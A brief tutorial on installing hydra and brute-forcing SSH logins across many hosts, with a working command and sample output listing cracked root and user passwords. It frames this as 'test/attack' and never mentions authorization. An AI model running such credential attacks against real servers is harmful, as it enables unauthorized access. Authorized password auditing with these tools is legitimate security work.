To install hydra on Ubuntu:
sudo apt install hydra
Simply, to start our test/attack, we have a list of usernames, list of passwords and list of servers:
hydra -L users.txt -P passes.txt -u -M hosts.txt ssh -o Report.txt
users.txt is the file containing the user names, one per line, e.g.
passes.txt is the list of passwords, one per line as well, e.g.
hosts.txt is the list of IPs to test/attack, one per line, e.g.
Report.txt is the file containing the list of servers that could be cracked using values of users/passes/hosts from the files we provided, e.g.
[ssh] host: 192.168.100.21 login: root password: expectedpass1
[ssh] host: 192.168.100.22 login: user1 password: expectedpass2
[ssh] host: 192.168.100.23 login: user2 password: expectedpass3
That’s it, Enjoy!
Sources: Mainly the hydra man page and some online forums